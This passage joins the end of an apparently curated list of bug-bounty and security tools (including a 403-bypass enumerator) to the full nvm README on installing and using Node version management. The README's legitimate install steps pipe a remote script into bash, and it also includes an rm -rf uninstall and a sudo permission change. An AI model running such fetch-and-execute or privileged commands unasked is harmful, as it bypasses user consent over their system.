scopes (like Hackerone/Bugcrowd/Intigriti/etc) that are eligible for reports - [android-security-awesome](https://github.com/ashishb/android-security-awesome) - A collection of android security related resources - [awesome-mobile-security](https://github.com/vaib25vicky/awesome-mobile-security) - An effort to build a single place for all useful android and iOS security related stuff. - [awesome-vulnerable-apps](https://github.com/vavkamil/awesome-vulnerable-apps) - Awesome Vulnerable Applications - [XFFenum](https://github.com/vavkamil/XFFenum) - X-Forwarded-For [403 forbidden] enumeration - [httpx](https://github.com/projectdiscovery/httpx) - httpx is a fast and multi-purpose HTTP toolkit allow to run multiple probers using retryablehttp library, it is designed to maintain the result reliability with increased threads. --- ## Contribute Contributions welcome! Read the [contribution guidelines](contributing.md) first. --- ## License [![CC0](https://mirrors.creativecommons.org/presskit/buttons/88x31/svg/cc-zero.svg)](https://creativecommons.org/publicdomain/zero/1.0) To the extent possible under law, vavkamil has waived all copyright and related or neighboring rights to this work.
# Node Version Manager [![Build Status](https://travis-ci.org/nvm-sh/nvm.svg?branch=master)][3] [![nvm version](https://img.shields.io/badge/version-v0.37.2-yellow.svg)][4] [![CII Best Practices](https://bestpractices.coreinfrastructure.org/projects/684/badge)](https://bestpractices.coreinfrastructure.org/projects/684) <!-- To update this table of contents, ensure you have run `npm install` then `npm run doctoc` --> <!-- START doctoc generated TOC please keep comment here to allow auto update --> <!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE --> ## Table of Contents - [About](#about) - [Installing and Updating](#installing-and-updating) - [Install & Update Script](#install--update-script) - [Additional Notes](#additional-notes) - [Troubleshooting on Linux](#troubleshooting-on-linux) - [Troubleshooting on macOS](#troubleshooting-on-macos) - [Ansible](#ansible) - [Verify Installation](#verify-installation) - [Important Notes](#important-notes) - [Git Install](#git-install) - [Manual Install](#manual-install) - [Manual Upgrade](#manual-upgrade) - [Usage](#usage) - [Long-term Support](#long-term-support) - [Migrating Global Packages While Installing](#migrating-global-packages-while-installing) - [Default Global Packages From File While Installing](#default-global-packages-from-file-while-installing) - [io.js](#iojs) - [System Version of Node](#system-version-of-node) - [Listing Versions](#listing-versions) - [Setting Custom Colors](#setting-custom-colors) - [Persisting custom colors](#persisting-custom-colors) - [Suppressing colorized output](#suppressing-colorized-output) - [.nvmrc](#nvmrc) - [Deeper Shell Integration](#deeper-shell-integration) - [bash](#bash) - [Automatically call `nvm use`](#automatically-call-nvm-use) - [zsh](#zsh) - [Calling `nvm use` automatically in a directory with a `.nvmrc` file](#calling-nvm-use-automatically-in-a-directory-with-a-nvmrc-file) - [fish](#fish) - [Calling `nvm use` automatically in a directory with a `.nvmrc` file](#calling-nvm-use-automatically-in-a-directory-with-a-nvmrc-file-1) - [License](#license) - [Running Tests](#running-tests) - [Environment variables](#environment-variables) - [Bash Completion](#bash-completion) - [Usage](#usage-1) - [Compatibility Issues](#compatibility-issues) - [Installing nvm on Alpine Linux](#installing-nvm-on-alpine-linux) - [Uninstalling / Removal](#uninstalling--removal) - [Manual Uninstall](#manual-uninstall) - [Docker For Development Environment](#docker-for-development-environment) - [Problems](#problems) - [macOS Troubleshooting](#macos-troubleshooting) <!-- END doctoc generated TOC please keep comment here to allow auto update --> ## About nvm is a version manager for [node.js](https://nodejs.org/en/), designed to be installed per-user, and invoked per-shell. `nvm` works on any POSIX-compliant shell (sh, dash, ksh, zsh, bash), in particular on these platforms: unix, macOS, and windows WSL. <a id="installation-and-update"></a> <a id="install-script"></a> ## Installing and Updating ### Install & Update Script To **install** or **update** nvm, you should run the [install script][2]. To do that, you may either download and run the script manually, or use the following cURL or Wget command: ```sh curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.37.2/install.sh | bash ``` ```sh wget -qO- https://raw.githubusercontent.com/nvm-sh/nvm/v0.37.2/install.sh | bash ``` Running either of the above commands downloads a script and runs it. The script clones the nvm repository to `~/.nvm`, and attempts to add the source lines from the snippet below to the correct profile file (`~/.bash_profile`, `~/.zshrc`, `~/.profile`, or `~/.bashrc`). <a id="profile_snippet"></a> ```sh export NVM_DIR="$([ -z "${XDG_CONFIG_HOME-}" ] && printf %s "${HOME}/.nvm" || printf %s "${XDG_CONFIG_HOME}/nvm")" [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" # This loads nvm ``` #### Additional Notes - If the environment variable `$XDG_CONFIG_HOME` is present, it will place the `nvm` files there.</sub> - You can add `--no-use` to the end of the above script (...`nvm.sh --no-use`) to postpone using `nvm` until you manually [`use`](#usage) it. - You can customize the install source, directory, profile, and version using the `NVM_SOURCE`, `NVM_DIR`, `PROFILE`, and `NODE_VERSION` variables. Eg: `curl ... | NVM_DIR="path/to/nvm"`. Ensure that the `NVM_DIR` does not contain a trailing slash. - The installer can use `git`, `curl`, or `wget` to download `nvm`, whichever is available. #### Troubleshooting on Linux On Linux, after running the install script, if you get `nvm: command not found` or see no feedback from your terminal after you type `command -v nvm`, simply close your current terminal, open a new terminal, and try verifying again. #### Troubleshooting on macOS Since OS X 10.9, `/usr/bin/git` has been preset by Xcode command line tools, which means we can't properly detect if Git is installed or not. You need to manually install the Xcode command line tools before running the install script, otherwise, it'll fail. (see [#1782](https://github.com/nvm-sh/nvm/issues/1782)) If you get `nvm: command not found` after running the install script, one of the following might be the reason: - Since macOS 10.15, the default shell is `zsh` and nvm will look for `.zshrc` to update, none is installed by default. Create one with `touch ~/.zshrc` and run the install script again. - If you use bash, the previous default shell, run `touch ~/.bash_profile` to create the necessary profile file if it does not exist. - You might need to restart your terminal instance or run `. ~/.nvm/nvm.sh`. Restarting your terminal/opening a new tab/window, or running the source command will load the command and the new configuration. If the above doesn't fix the problem, you may try the following: - If you use bash, it may be that your `.bash_profile` (or `~/.profile`) does not source your `~/.bashrc` properly. You could fix this by adding `source ~/<your_profile_file>` to it or follow the next step below. - Try adding [the snippet from the install section](#profile_snippet), that finds the correct nvm directory and loads nvm, to your usual profile (`~/.bash_profile`, `~/.zshrc`, `~/.profile`, or `~/.bashrc`). - For more information about this issue and possible workarounds, please [refer here](https://github.com/nvm-sh/nvm/issues/576) #### Ansible You can use a task: ```yaml - name: nvm shell: > curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.37.2/install.sh | bash args: creates: "{{ ansible_env.HOME }}/.nvm/nvm.sh" ``` ### Verify Installation To verify that nvm has been installed, do: ```sh command -v nvm ``` which should output `nvm` if the installation was successful. Please note that `which nvm` will not work, since `nvm` is a sourced shell function, not an executable binary. ### Important Notes If you're running a system without prepackaged binary available, which means you're going to install nodejs or io.js from its source code, you need to make sure your system has a C++ compiler. For OS X, Xcode will work, for Debian/Ubuntu based GNU/Linux, the `build-essential` and `libssl-dev` packages work. **Note:** `nvm` does not support Windows (see [#284](https://github.com/nvm-sh/nvm/issues/284)), but may work in WSL (Windows Subsystem for Linux) depending on the version of WSL. For Windows, two alternatives exist, which are neither supported nor developed by us: - [nvm-windows](https://github.com/coreybutler/nvm-windows) - [nodist](https://github.com/marcelklehr/nodist) **Note:** `nvm` does not support [Fish] either (see [#303](https://github.com/nvm-sh/nvm/issues/303)). Alternatives exist, which are neither supported nor developed by us: - [bass](https://github.com/edc/bass) allows you to use utilities written for Bash in fish shell - [fast-nvm-fish](https://github.com/brigand/fast-nvm-fish) only works with version numbers (not aliases) but doesn't significantly slow your shell startup - [plugin-nvm](https://github.com/derekstavis/plugin-nvm) plugin for [Oh My Fish](https://github.com/oh-my-fish/oh-my-fish), which makes nvm and its completions available in fish shell - [fnm](https://github.com/fisherman/fnm) - [fisherman](https://github.com/fisherman/fisherman)-based version manager for fish - [fish-nvm](https://github.com/FabioAntunes/fish-nvm) - Wrapper around nvm for fish, delays sourcing nvm until it's actually used. **Note:** We still have some problems with FreeBSD, because there is no official pre-built binary for FreeBSD, and building from source may need [patches](https://www.freshports.org/www/node/files/patch-deps_v8_src_base_platform_platform-posix.cc); see the issue ticket: - [[#900] [Bug] nodejs on FreeBSD may need to be patched](https://github.com/nvm-sh/nvm/issues/900) - [nodejs/node#3716](https://github.com/nodejs/node/issues/3716) **Note:** On OS X, if you do not have Xcode installed and you do not wish to download the ~4.3GB file, you can install the `Command Line Tools`. You can check out this blog post on how to just that: - [How to Install Command Line Tools in OS X Mavericks & Yosemite (Without Xcode)](http://osxdaily.com/2014/02/12/install-command-line-tools-mac-os-x/) **Note:** On OS X, if you have/had a "system" node installed and want to install modules globally, keep in mind that: - When using `nvm` you do not need `sudo` to globally install a module with `npm -g`, so instead of doing `sudo npm install -g grunt`, do instead `npm install -g grunt` - If you have an `~/.npmrc` file, make sure it does not contain any `prefix` settings (which is not compatible with `nvm`) - You can (but should not?) keep your previous "system" node install, but `nvm` will only be available to your user account (the one used to install nvm). This might cause version mismatches, as other users will be using `/usr/local/lib/node_modules/*` VS your user account using `~/.nvm/versions/node/vX.X.X/lib/node_modules/*` Homebrew installation is not supported. If you have issues with homebrew-installed `nvm`, please `brew uninstall` it, and install it using the instructions below, before filing an issue. **Note:** If you're using `zsh` you can easily install `nvm` as a zsh plugin. Install [`zsh-nvm`](https://github.com/lukechilds/zsh-nvm) and run `nvm upgrade` to upgrade. **Note:** Git versions before v1.7 may face a problem of cloning `nvm` source from GitHub via https protocol, and there is also different behavior of git before v1.6, and git prior to [v1.17.10](https://github.com/git/git/commit/5a7d5b683f869d3e3884a89775241afa515da9e7) can not clone tags, so the minimum required git version is v1.7.10. If you are interested in the problem we mentioned here, please refer to GitHub's [HTTPS cloning errors](https://help.github.com/articles/https-cloning-errors/) article. ### Git Install If you have `git` installed (requires git v1.7.10+): 1. clone this repo in the root of your user profile - `cd ~/` from anywhere then `git clone https://github.com/nvm-sh/nvm.git .nvm` 1. `cd ~/.nvm` and check out the latest version with `git checkout v0.37.2` 1. activate `nvm` by sourcing it from your shell: `. ./nvm.sh` Now add these lines to your `~/.bashrc`, `~/.profile`, or `~/.zshrc` file to have it automatically sourced upon login: (you may have to add to more than one of the above files) ```sh export NVM_DIR="$HOME/.nvm" [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" # This loads nvm [ -s "$NVM_DIR/bash_completion" ] && \. "$NVM_DIR/bash_completion" # This loads nvm bash_completion ``` ### Manual Install For a fully manual install, execute the following lines to first clone the `nvm` repository into `$HOME/.nvm`, and then load `nvm`: ```sh export NVM_DIR="$HOME/.nvm" && ( git clone https://github.com/nvm-sh/nvm.git "$NVM_DIR" cd "$NVM_DIR" git checkout `git describe --abbrev=0 --tags --match "v[0-9]*" $(git rev-list --tags --max-count=1)` ) && \. "$NVM_DIR/nvm.sh" ``` Now add these lines to your `~/.bashrc`, `~/.profile`, or `~/.zshrc` file to have it automatically sourced upon login: (you may have to add to more than one of the above files) ```sh export NVM_DIR="$HOME/.nvm" [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" # This loads nvm ``` ### Manual Upgrade For manual upgrade with `git` (requires git v1.7.10+): 1. change to the `$NVM_DIR` 1. pull down the latest changes 1. check out the latest version 1. activate the new version ```sh ( cd "$NVM_DIR" git fetch --tags origin git checkout `git describe --abbrev=0 --tags --match "v[0-9]*" $(git rev-list --tags --max-count=1)` ) && \. "$NVM_DIR/nvm.sh" ``` ## Usage To download, compile, and install the latest release of node, do this: ```sh nvm install node # "node" is an alias for the latest version ``` To install a specific version of node: ```sh nvm install 6.14.4 # or 10.10.0, 8.9.1, etc ``` The first version installed becomes the default. New shells will start with the default version of node (e.g., `nvm alias default`). You can list available versions using `ls-remote`: ```sh nvm ls-remote ``` And then in any new shell just use the installed version: ```sh nvm use node ``` Or you can just run it: ```sh nvm run node --version ``` Or, you can run any arbitrary command in a subshell with the desired version of node: ```sh nvm exec 4.2 node --version ``` You can also get the path to the executable to where it was installed: ```sh nvm which 5.0 ``` In place of a version pointer like "0.10" or "5.0" or "4.2.1", you can use the following special default aliases with `nvm install`, `nvm use`, `nvm run`, `nvm exec`, `nvm which`, etc: - `node`: this installs the latest version of [`node`](https://nodejs.org/en/) - `iojs`: this installs the latest version of [`io.js`](https://iojs.org/en/) - `stable`: this alias is deprecated, and only truly applies to `node` `v0.12` and earlier. Currently, this is an alias for `node`. - `unstable`: this alias points to `node` `v0.11` - the last "unstable" node release, since post-1.0, all node versions are stable. (in SemVer, versions communicate breakage, not stability). ### Long-term Support Node has a [schedule](https://github.com/nodejs/Release#release-schedule) for long-term support (LTS) You can reference LTS versions in aliases and `.nvmrc` files with the notation `lts/*` for the latest LTS, and `lts/argon` for LTS releases from the "argon" line, for example. In addition, the following commands support LTS arguments: - `nvm install --lts` / `nvm install --lts=argon` / `nvm install 'lts/*'` / `nvm install lts/argon` - `nvm uninstall --lts` / `nvm uninstall --lts=argon` / `nvm uninstall 'lts/*'` / `nvm uninstall lts/argon` - `nvm use --lts` / `nvm use --lts=argon` / `nvm use 'lts/*'` / `nvm use lts/argon` - `nvm exec --lts` / `nvm exec --lts=argon` / `nvm exec 'lts/*'` / `nvm exec lts/argon` - `nvm run --lts` / `nvm run --lts=argon` / `nvm run 'lts/*'` / `nvm run lts/argon` - `nvm ls-remote --lts` / `nvm ls-remote --lts=argon` `nvm ls-remote 'lts/*'` / `nvm ls-remote lts/argon` - `nvm version-remote --lts` / `nvm version-remote --lts=argon` / `nvm version-remote 'lts/*'` / `nvm version-remote lts/argon` Any time your local copy of `nvm` connects to https://nodejs.org, it will re-create the appropriate local aliases for all available LTS lines. These aliases (stored under `$NVM_DIR/alias/lts`), are managed by `nvm`, and you should not modify, remove, or create these files - expect your changes to be undone, and expect meddling with these files to cause bugs that will likely not be supported. To get the latest LTS version of node and migrate your existing installed packages, use ```sh nvm install 'lts/*' --reinstall-packages-from=current ``` ### Migrating Global Packages While Installing If you want to install a new version of Node.js and migrate npm packages from a previous version: ```sh nvm install node --reinstall-packages-from=node ``` This will first use "nvm version node" to identify the current version you're migrating packages from. Then it resolves the new version to install from the remote server and installs it. Lastly, it runs "nvm reinstall-packages" to reinstall the npm packages from your prior version of Node to the new one. You can also install and migrate npm packages from specific versions of Node like this: ```sh nvm install 6 --reinstall-packages-from=5 nvm install v4.2 --reinstall-packages-from=iojs ``` Note that reinstalling packages _explicitly does not update the npm version_ — this is to ensure that npm isn't accidentally upgraded to a broken version for the new node version. To update npm at the same time add the `--latest-npm` flag, like this: ```sh nvm install lts/* --reinstall-packages-from=default --latest-npm ``` or, you can at any time run the following command to get the latest supported npm version on the current node version: ```sh nvm install-latest-npm ``` If you've already gotten an error to the effect of "npm does not support Node.js", you'll need to (1) revert to a previous node version (`nvm ls` & `nvm use <your latest _working_ version from the ls>`, (2) delete the newly created node version (`nvm uninstall <your _broken_ version of node from the ls>`), then (3) rerun your `nvm install` with the `--latest-npm` flag. ### Default Global Packages From File While Installing If you have a list of default packages you want installed every time you install a new version, we support that too -- just add the package names, one per line, to the file `$NVM_DIR/default-packages`. You can add anything npm would accept as a package argument on the command line. ```sh # $NVM_DIR/default-packages rimraf [email protected] stevemao/left-pad ``` ### io.js If you want to install [io.js](https://github.com/iojs/io.js/): ```sh nvm install iojs ``` If you want to install a new version of io.js and migrate npm packages from a previous version: ```sh nvm install iojs --reinstall-packages-from=iojs ``` The same guidelines mentioned for migrating npm packages in node are applicable to io.js. ### System Version of Node If you want to use the system-installed version of node, you can use the special default alias "system": ```sh nvm use system nvm run system --version ``` ### Listing Versions If you want to see what versions are installed: ```sh nvm ls ``` If you want to see what versions are available to install: ```sh nvm ls-remote ``` ### Setting Custom Colors You can set five colors that will be used to display version and alias information. These colors replace the default colors. Initial colors are: g b y r e Color codes: r/R = red / bold red g/G = green / bold green b/B = blue / bold blue c/C = cyan / bold cyan m/M = magenta / bold magenta y/Y = yellow / bold yellow k/K = black / bold black e/W = light grey / white ```sh nvm set-colors rgBcm ``` #### Persisting custom colors If you want the custom colors to persist after terminating the shell, export the NVM_COLORS variable in your shell profile. For example, if you want to use cyan, magenta, green, bold red and bold yellow, add the following line: ```sh export NVM_COLORS='cmgRY' ``` #### Suppressing colorized output `nvm help (or -h or --help)`, `nvm ls`, `nvm ls-remote` and `nvm alias` usually produce colorized output. You can disable colors with the `--no-colors` option (or by setting the environment variable `TERM=dumb`): ```sh nvm ls --no-colors nvm help --no-colors TERM=dumb nvm ls ``` To restore your PATH, you can deactivate it: ```sh nvm deactivate ``` To set a default Node version to be used in any new shell, use the alias 'default': ```sh nvm alias default node ``` To use a mirror of the node binaries, set `$NVM_NODEJS_ORG_MIRROR`: ```sh export NVM_NODEJS_ORG_MIRROR=https://nodejs.org/dist nvm install node NVM_NODEJS_ORG_MIRROR=https://nodejs.org/dist nvm install 4.2 ``` To use a mirror of the io.js binaries, set `$NVM_IOJS_ORG_MIRROR`: ```sh export NVM_IOJS_ORG_MIRROR=https://iojs.org/dist nvm install iojs-v1.0.3 NVM_IOJS_ORG_MIRROR=https://iojs.org/dist nvm install iojs-v1.0.3 ``` `nvm use` will not, by default, create a "current" symlink. Set `$NVM_SYMLINK_CURRENT` to "true" to enable this behavior, which is sometimes useful for IDEs. Note that using `nvm` in multiple shell tabs with this environment variable enabled can cause race conditions. ### .nvmrc You can create a `.nvmrc` file containing a node version number (or any other string that `nvm` understands; see `nvm --help` for details) in the project root directory (or any parent directory). Afterwards, `nvm use`, `nvm install`, `nvm exec`, `nvm run`, and `nvm which` will use the version specified in the `.nvmrc` file if no version is supplied on the command line. For example, to make nvm default to the latest 5.9 release, the latest LTS version, or the latest node version for the current directory: ```sh $ echo "5.9" > .nvmrc $ echo "lts/*" > .nvmrc # to default to the latest LTS version $ echo "node" > .nvmrc # to default to the latest version ``` [NB these examples assume a POSIX-compliant shell version of `echo`. If you use a Windows `cmd` development environment, eg the `.nvmrc` file is used to configure a remote Linux deployment, then keep in mind the `"`s will be copied leading to an invalid file. Remove them.] Then when you run nvm: ```sh $ nvm use Found '/path/to/project/.nvmrc' with version <5.9> Now using node v5.9.1 (npm v3.7.3) ``` `nvm use` et. al. will traverse directory structure upwards from the current directory looking for the `.nvmrc` file. In other words, running `nvm use` et. al. in any subdirectory of a directory with an `.nvmrc` will result in that `.nvmrc` being utilized. The contents of a `.nvmrc` file **must** be the `<version>` (as described by `nvm --help`) followed by a newline. No trailing spaces are allowed, and the trailing newline is required. ### Deeper Shell Integration You can use [`avn`](https://github.com/wbyoung/avn) to deeply integrate into your shell and automatically invoke `nvm` when changing directories. `avn` is **not** supported by the `nvm` development team. Please [report issues to the `avn` team](https://github.com/wbyoung/avn/issues/new). If you prefer a lighter-weight solution, the recipes below have been contributed by `nvm` users. They are **not** supported by the `nvm` development team. We are, however, accepting pull requests for more examples. #### bash ##### Automatically call `nvm use` Put the following at the end of your `$HOME/.bashrc`: ```bash find-up() { path=$(pwd) while [[ "$path" != "" && ! -e "$path/$1" ]]; do path=${path%/*} done echo "$path" } cdnvm() { cd "$@"; nvm_path=$(find-up .nvmrc | tr -d '\n') # If there are no .nvmrc file, use the default nvm version if [[ ! $nvm_path = *[^[:space:]]* ]]; then declare default_version; default_version=$(nvm version default); # If there is no default version, set it to `node` # This will use the latest version on your machine if [[ $default_version == "N/A" ]]; then nvm alias default node; default_version=$(nvm version default); fi # If the current version is not the default version, set it to use the default version if [[ $(nvm current) != "$default_version" ]]; then nvm use default; fi elif [[ -s $nvm_path/.nvmrc && -r $nvm_path/.nvmrc ]]; then declare nvm_version nvm_version=$(<"$nvm_path"/.nvmrc) declare locally_resolved_nvm_version # `nvm ls` will check all locally-available versions # If there are multiple matching versions, take the latest one # Remove the `->` and `*` characters and spaces # `locally_resolved_nvm_version` will be `N/A` if no local versions are found locally_resolved_nvm_version=$(nvm ls --no-colors "$nvm_version" | tail -1 | tr -d '\->*' | tr -d '[:space:]') # If it is not already installed, install it # `nvm install` will implicitly use the newly-installed version if [[ "$locally_resolved_nvm_version" == "N/A" ]]; then nvm install "$nvm_version"; elif [[ $(nvm current) != "$locally_resolved_nvm_version" ]]; then nvm use "$nvm_version"; fi fi } alias cd='cdnvm' cd $PWD ``` This alias would search 'up' from your current directory in order to detect a `.nvmrc` file. If it finds it, it will switch to that version; if not, it will use the default version. #### zsh ##### Calling `nvm use` automatically in a directory with a `.nvmrc` file Put this into your `$HOME/.zshrc` to call `nvm use` automatically whenever you enter a directory that contains an `.nvmrc` file with a string telling nvm which node to `use`: ```zsh # place this after nvm initialization! autoload -U add-zsh-hook load-nvmrc() { local node_version="$(nvm version)" local nvmrc_path="$(nvm_find_nvmrc)" if [ -n "$nvmrc_path" ]; then local nvmrc_node_version=$(nvm version "$(cat "${nvmrc_path}")") if [ "$nvmrc_node_version" = "N/A" ]; then nvm install elif [ "$nvmrc_node_version" != "$node_version" ]; then nvm use fi elif [ "$node_version" != "$(nvm version default)" ]; then echo "Reverting to nvm default version" nvm use default fi } add-zsh-hook chpwd load-nvmrc load-nvmrc ``` #### fish ##### Calling `nvm use` automatically in a directory with a `.nvmrc` file This requires that you have [bass](https://github.com/edc/bass) installed. ```fish # ~/.config/fish/functions/nvm.fish function nvm bass source ~/.nvm/nvm.sh --no-use ';' nvm $argv end # ~/.config/fish/functions/nvm_find_nvmrc.fish function nvm_find_nvmrc bass source ~/.nvm/nvm.sh --no-use ';' nvm_find_nvmrc end # ~/.config/fish/functions/load_nvm.fish function load_nvm --on-variable="PWD" set -l default_node_version (nvm version default) set -l node_version (nvm version) set -l nvmrc_path (nvm_find_nvmrc) if test -n "$nvmrc_path" set -l nvmrc_node_version (nvm version (cat $nvmrc_path)) if test "$nvmrc_node_version" = "N/A" nvm install (cat $nvmrc_path) else if test nvmrc_node_version != node_version nvm use $nvmrc_node_version end else if test "$node_version" != "$default_node_version" echo "Reverting to default Node version" nvm use default end end # ~/.config/fish/config.fish # You must call it on initialization or listening to directory switching won't work load_nvm ``` ## License nvm is released under the MIT license. Copyright (C) 2010 Tim Caswell and Jordan Harband Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ## Running Tests Tests are written in [Urchin]. Install Urchin (and other dependencies) like so: npm install There are slow tests and fast tests. The slow tests do things like install node and check that the right versions are used. The fast tests fake this to test things like aliases and uninstalling. From the root of the nvm git repository, run the fast tests like this: npm run test/fast Run the slow tests like this: npm run test/slow Run all of the tests like this: npm test Nota bene: Avoid running nvm while the tests are running. ## Environment variables nvm exposes the following environment variables: - `NVM_DIR` - nvm's installation directory. - `NVM_BIN` - where node, npm, and global packages for the active version of node are installed. - `NVM_INC` - node's include file directory (useful for building C/C++ addons for node). - `NVM_CD_FLAGS` - used to maintain compatibility with zsh. - `NVM_RC_VERSION` - version from .nvmrc file if being used. Additionally, nvm modifies `PATH`, and, if present, `MANPATH` and `NODE_PATH` when changing versions. ## Bash Completion To activate, you need to source `bash_completion`: ```sh [[ -r $NVM_DIR/bash_completion ]] && \. $NVM_DIR/bash_completion ``` Put the above sourcing line just below the sourcing line for nvm in your profile (`.bashrc`, `.bash_profile`). ### Usage nvm: > $ nvm <kbd>Tab</kbd> ``` alias deactivate install list-remote reinstall-packages uninstall version cache exec install-latest-npm ls run unload version-remote current help list ls-remote unalias use which ``` nvm alias: > $ nvm alias <kbd>Tab</kbd> ``` default iojs lts/* lts/argon lts/boron lts/carbon lts/dubnium lts/erbium node stable unstable ``` > $ nvm alias my_alias <kbd>Tab</kbd> ``` v10.22.0 v12.18.3 v14.8.0 ``` nvm use: > $ nvm use <kbd>Tab</kbd> ``` my_alias default v10.22.0 v12.18.3 v14.8.0 ``` nvm uninstall: > $ nvm uninstall <kbd>Tab</kbd> ``` my_alias default v10.22.0 v12.18.3 v14.8.0 ``` ## Compatibility Issues `nvm` will encounter some issues if you have some non-default settings set. (see [#606](/../../issues/606)) The following are known to cause issues: Inside `~/.npmrc`: ```sh prefix='some/path' ``` Environment Variables: ```sh $NPM_CONFIG_PREFIX $PREFIX ``` Shell settings: ```sh set -e ``` ## Installing nvm on Alpine Linux In order to provide the best performance (and other optimisations), nvm will download and install pre-compiled binaries for Node (and npm) when you run `nvm install X`. The Node project compiles, tests and hosts/provides these pre-compiled binaries which are built for mainstream/traditional Linux distributions (such as Debian, Ubuntu, CentOS, RedHat et al). Alpine Linux, unlike mainstream/traditional Linux distributions, is based on [BusyBox](https://www.busybox.net/), a very compact (~5MB) Linux distribution. BusyBox (and thus Alpine Linux) uses a different C/C++ stack to most mainstream/traditional Linux distributions - [musl](https://www.musl-libc.org/). This makes binary programs built for such mainstream/traditional incompatible with Alpine Linux, thus we cannot simply `nvm install X` on Alpine Linux and expect the downloaded binary to run correctly - you'll likely see "...does not exist" errors if you try that. There is a `-s` flag for `nvm install` which requests nvm download Node source and compile it locally. If installing nvm on Alpine Linux *is* still what you want or need to do, you should be able to achieve this by running the following from you Alpine Linux shell: ```sh apk add -U curl bash ca-certificates openssl ncurses coreutils python2 make gcc g++ libgcc linux-headers grep util-linux binutils findutils curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.37.2/install.sh | bash ``` The Node project has some desire but no concrete plans (due to the overheads of building, testing and support) to offer Alpine-compatible binaries. As a potential alternative, @mhart (a Node contributor) has some [Docker images for Alpine Linux with Node and optionally, npm, pre-installed](https://github.com/mhart/alpine-node). <a id="removal"></a> ## Uninstalling / Removal ### Manual Uninstall To remove `nvm` manually, execute the following: ```sh $ rm -rf "$NVM_DIR" ``` Edit `~/.bashrc` (or other shell resource config) and remove the lines below: ```sh export NVM_DIR="$HOME/.nvm" [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" # This loads nvm [[ -r $NVM_DIR/bash_completion ]] && \. $NVM_DIR/bash_completion ``` ## Docker For Development Environment To make the development and testing work easier, we have a Dockerfile for development usage, which is based on Ubuntu 14.04 base image, prepared with essential and useful tools for `nvm` development, to build the docker image of the environment, run the docker command at the root of `nvm` repository: ```sh $ docker build -t nvm-dev . ``` This will package your current nvm repository with our pre-defined development environment into a docker image named `nvm-dev`, once it's built with success, validate your image via `docker images`: ```sh $ docker images REPOSITORY TAG IMAGE ID CREATED SIZE nvm-dev latest 9ca4c57a97d8 7 days ago 650 MB ``` If you got no error message, now you can easily involve in: ```sh $ docker run -h nvm-dev -it nvm-dev nvm@nvm-dev:~/.nvm$ ``` Please note that it'll take about 8 minutes to build the image and the image size would be about 650MB, so it's not suitable for production usage. For more information and documentation about docker, please refer to its official website: - https://www.docker.com/ - https://docs.docker.com/ ## Problems - If you try to install a node version and the installation fails, be sure to run `nvm cache clear` to delete cached node downloads, or you might get an error like the following: curl: (33) HTTP server doesn't seem to support byte ranges. Cannot resume. - Where's my `sudo node`? Check out [#43](https://github.com/nvm-sh/nvm/issues/43) - After the v0.8.6 release of node, nvm tries to install from binary packages. But in some systems, the official binary packages don't work due to incompatibility of shared libs. In such cases, use `-s` option to force install from source: ```sh nvm install -s 0.8.6 ``` - If setting the `default` alias does not establish the node version in new shells (i.e. `nvm current` yields `system`), ensure that the system's node `PATH` is set before the `nvm.sh` source line in your shell profile (see [#658](https://github.com/nvm-sh/nvm/issues/658)) ## macOS Troubleshooting **nvm node version not found in vim shell** If you set node version to a version other than your system node version `nvm use 6.2.1` and open vim and run `:!node -v` you should see `v6.2.1` if you see your system version `v0.12.7`. You need to run: ```shell sudo chmod ugo-x /usr/libexec/path_helper ``` More on this issue in [dotphiles/dotzsh](https://github.com/dotphiles/dotzsh#mac-os-x). **nvm is not compatible with the npm config "prefix" option** Some solutions for this issue can be found [here](https://github.com/nvm-sh/nvm/issues/1245) There is one more edge case causing this issue, and that's a **mismatch between the `$HOME` path and the user's home directory's actual name**. You have to make sure that the user directory name in `$HOME` and the user directory name you'd see from running `ls /Users/` **are capitalized the same way** ([See this issue](https://github.com/nvm-sh/nvm/issues/2261)). To change the user directory and/or account name follow the instructions [here](https://support.apple.com/en-us/HT201548) [1]: https://github.com/nvm-sh/nvm.git [2]: https://github.com/nvm-sh/nvm/blob/v0.37.2/install.sh [3]: https://travis-ci.org/nvm-sh/nvm [4]: https://github.com/nvm-sh/nvm/releases/tag/v0.37.2 [Urchin]: https://github.com/scraperwiki/urchin [Fish]: http://fishshell.com **Homebrew makes zsh directories unsecure** ```shell zsh compinit: insecure directories, run compaudit for list. Ignore insecure directories and continue [y] or abort compinit [n]? y ``` Homebrew causes insecure directories like `/usr/local/share/zsh/site-functions` and `/usr/local/share/zsh`. This is **not** an `nvm` problem - it is a homebrew problem. Refer [here](https://github.com/zsh-users/zsh-completions/issues/680) for some solutions related to the issue.
